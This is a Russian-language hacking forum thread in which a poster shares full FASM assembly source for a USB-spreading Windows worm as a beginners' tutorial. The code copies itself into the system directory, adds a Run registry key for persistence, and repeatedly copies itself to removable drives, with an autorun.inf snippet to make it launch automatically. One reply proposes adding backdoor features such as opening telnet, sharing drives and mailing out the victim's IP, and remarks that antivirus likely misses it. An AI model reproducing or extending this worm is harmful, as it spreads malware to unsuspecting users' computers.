IPB

Здравствуйте, гость ( Авторизация | Регистрация )

 
Ответить в данную темуНачать новую тему
> Пишем простой вирус на fasm (для новичков), Вирус который копирует себя на флеш носители
На каком языке программирования вы пишите?
На каком языке программирования вы пишите?
Fasm,masm,nasm,tasm и др асм [ 1 ] ** [3,70%]
Си,cи++ [ 5 ] ** [18,52%]
Php,html,java-scripts,vb-scripts [ 13 ] ** [48,15%]
Delphi,pascal [ 4 ] ** [14,81%]
Пишу только батники под дос ыы=) [ 2 ] ** [7,41%]
На всех! =) [ 1 ] ** [3,70%]
В HiAsme конструктором леплю ) [ 1 ] ** [3,70%]
Дрогое.. [ 0 ] ** [0,00%]
Всего голосов: 27
Гости не могут голосовать 
white_hat
сообщение 19.7.2009, 23:23
Сообщение #1

Познающий

Группа: Модератор lvl2
Сообщений: 17
Регистрация: 15.7.2009
Из: Зимбабва
Пользователь №: 907
Спасибо сказали: 0 раз




Пришел домой с вечера и захотелось написать что нибудь простенькое,но возможно полезненькое для только начинающих кодеров на фасме. Писать буду на fasm ver 1.67.14 ( я хз мб в других версиях что нить сменили).
Вирус очень простой(для новичков), так что прошу продвинутых the кул хацкеров =) не кричать.
Что он будет делать?
Да все просто:
1. Поиск системной папки и проверка, не с нее ли мы работаем,если нет то копируем себя туда пот названием lame.exe (название пишите какое хотите,например если бы он назывался csrss.exe то винда бы не дала его просто так закрыть)
2. Запись в системный реестр. О да мы тупо пишем сябя в ран ветку ..куда пишутся все такие же говно вирусы и трояны (но если пишется что то серьезное, писать туда свое творение никто не станет)
3. Скан драйвов и если флешка то копируем туда вирус (отфильтровываем флупики,жесткие и сд ромы)
В вирусе нету различных проверок,поэтому будут встречаться ошибки при пустых флешках (в моем мп3 плеере когда пуст слот для дополнительной флешки она все равно отображается..и он палится при попытке в нее скопировать)
Вирус никаких деструктивных действий не делает! Да и не нужно, мы ведь только учимся wink.gif

Код
;++++++++++++++VIRUS NELEPOSTb++++++++++++++++++++++
;===========Code was writed by White================
format pe gui
entry start;точка входа в программу начинается с метки start
include 'win32a.inc'
section '.code' code readable writeable executable
proc regedit            ;прописываемся в реестр
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,_key,0,0,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCES
S,0,handle,0
invoke lstrlen,_sys1
invoke RegSetValueEx,[handle],_key2,0,REG_SZ,_sys1,eax
ret
endp
proc infect_flash            ;инфицирование флэшек
invoke GetLogicalDriveStrings,128,_drmass

mov ebx,_drmass
@back2:
mov dl,byte[ebx]
mov [_drive],dl
invoke lstrcmpi,_drive,_floppy;если флупик то пропускаем
or eax,eax
jz @next
invoke GetDriveType,_drive
cmp eax,DRIVE_REMOVABLE
jne @next            ;если не флешка то переходим к следующему

invoke lstrcpy,_path,_drive
invoke lstrcat,_path,_name2
invoke CopyFile,_file,_path,0
@next:
add ebx,4
cmp byte[ebx],0    ;если диски закончились тогда выходим,если нет то прыгаем на @back2 метку
jne @back2
ret
endp

proc infect_system;инфицирование системы
invoke lstrcmpi,_sys1,_file
or eax,eax
jz @back
invoke CopyFile,_file,_sys1,0
@back:
ret
endp

start:                                    ;старт основного кода программы
invoke GetSystemDirectory,_sys1,128
invoke GetModuleFileName, 0, _file, 128
invoke lstrcat,_sys1,_name1
call infect_system

;бесконечный цикл
;------------------------------------------
loop1:                            
call regedit                            
call infect_flash            ;пушим в cтек количество милисекунд слипа
push 4000                    ;для меньшей загрузки проца и спама флэшек
call [Sleep]                            
jmp loop1                            
;------------------------------------------
invoke ExitProcess,0

section '.idata' import data readable writeable;импортируемые api функции и библиотеки их содержащие
library kernel,'KERNEL32.DLL',\
       advapi,'ADVAPI32.DLL'


import kernel,\
      lstrcmpi,'lstrcmpiA',\
      lstrcpy,'lstrcpyA',\
      lstrcat,'lstrcatA',\
      lstrlen,'lstrlenA',\
      CopyFile,'CopyFileA',\
      Sleep,'Sleep',\
      GetSystemDirectory,'GetSystemDirectoryA',\
      GetModuleFileName,'GetModuleFileNameA',\
      GetLogicalDriveStrings, 'GetLogicalDriveStringsA',\
      GetDriveType,'GetDriveTypeA',\
      ExitProcess,'ExitProcess'
import advapi,\
      RegCreateKeyEx,'RegCreateKeyExA',\
      RegSetValueEx,'RegSetValueExA'


_key db 'Software\Microsoft\Windows\CurrentVersion\Run',0
_name1 db '\lame.exe',0
_key2 db 'dont_kill_me_plz',0;название ключа
_name2 db 'NELEPOSTb.scr',0
_floppy db 'a:\',0;нужна для проверки на флуппик
_drive db ?, ':\',0
handle dd ?
_sys1 db 128 dup (?);c:\windows\lame.exe
_file db 128 dup (?);путь к нашему ехе файлу
_drmass db 128 dup (?);массив с строкой драйвов
_path db 128 dup (?)


Как не трудно заметить секция данных совмещена с секцией импорта что позволило уменьшить pe файл на 500 байт
Те кто хотят что бы при заходе на флешку (при autorun=1) вирус сам запускался, могут добавить свой код на создание файла autorun.inf на флешке (пусть это будет домашнее задание)

А сам текст файла autorun.inf в простейшем варианте выглядит так:

Код
[AUTORUN]
Shellexecute=NELEPOSTb.scr

Фасм постараюсь залить что бы вы не искали.
Если что не понятно, пишите постараюсь ответить. с ув. White wink.gif
Перейти в начало страницы
 
+Цитировать сообщение
GivioN
сообщение 20.7.2009, 10:36
Сообщение #2

Сетевой Корсар

Группа: RooT
Сообщений: 471
Регистрация: 14.9.2008
Из: HackZona.ru
Пользователь №: 1
Спасибо сказали: 42 раза




Было бы отлично если бы выложил сам компилятор fasm, так же наверно не плохо бы добавить какий-нибуть фишки бекдора, ну там телнет открыть или диски расшарить, так же письмецо на мыло скинуть, что бы IP спалить.
А в целом для новичков само то, тем более если код писал сам, авером откомпилированный продукт наверно не палится)))
Перейти в начало страницы
 
+Цитировать сообщение
white_hat
сообщение 25.7.2009, 22:31
Сообщение #3

Познающий

Группа: Модератор lvl2
Сообщений: 17
Регистрация: 15.7.2009
Из: Зимбабва
Пользователь №: 907
Спасибо сказали: 0 раз




Вот сам компилятор с редактором и некоторые обучающие статьи в архивах(на енглише по фасму и масму)
]]>Fasm 1.67.14]]>
В файле FASMW.INI пропишите путь к INCLUDE папке.
Код
[Environment]
include=c:\fleshka2\fasm\INCLUDE
измените эту строчку на ту где у вас находится фасм (т.е вместо c:\fleshka2\fasm\INCLUDE напишите- c:\Ваш путь\fasm\include
Данный код вируса дописывать и улучшать не буду, т.к это противоречит законам РБ

Сообщение отредактировал white_hat - 25.7.2009, 22:33
Перейти в начало страницы
 
+Цитировать сообщение
danila
сообщение 16.7.2010, 20:43
Сообщение #4

Познающий

Группа: Пользователи
Сообщений: 27
Регистрация: 1.10.2009
Пользователь №: 1032
Спасибо сказали: 0 раз




а какой программой пишутся вирусы?
Перейти в начало страницы
 
+Цитировать сообщение
PRStudio
сообщение 17.7.2010, 8:59
Сообщение #5

Сетевая-Крыса

Группа: Участник
Сообщений: 286
Регистрация: 9.6.2009
Из: БССР
Пользователь №: 815
Спасибо сказали: 21 раз




Цитата
а какой программой пишутся вирусы?

Подозреваю что не в Паинте.
------
Определенностей нет. Он пишется фактически на чем угодно.
Выбираешь себе один из многочисленных языков программирования и пишешь себе что угодно. (очень внимательный юзер наверняка заметил, что к теме прикреплен опрос, в котором перечислены основные языки программирования)

Т.е. зайдя в эту тему, прежде чем задавать вопросы, я бы рекомендовал читать главный пост, которому, и посвящена данная тема. Из поста мы выясняем, что вирус написан на языке Fasm, в среде разработки fasm ver 1.67.14. Все это мы узнали всего из первых 3-х строк. Далее, не поленившись почитать остальные два огромных поста, обнаруживаем, что white_hat еще и выложил эту программу. Вывод - прежде чем искать нужную тебе информацию, убедись, что у тебя нет ее перед носом.
Перейти в начало страницы
 
+Цитировать сообщение

Ответить в данную темуНачать новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 6.9.2010, 7:05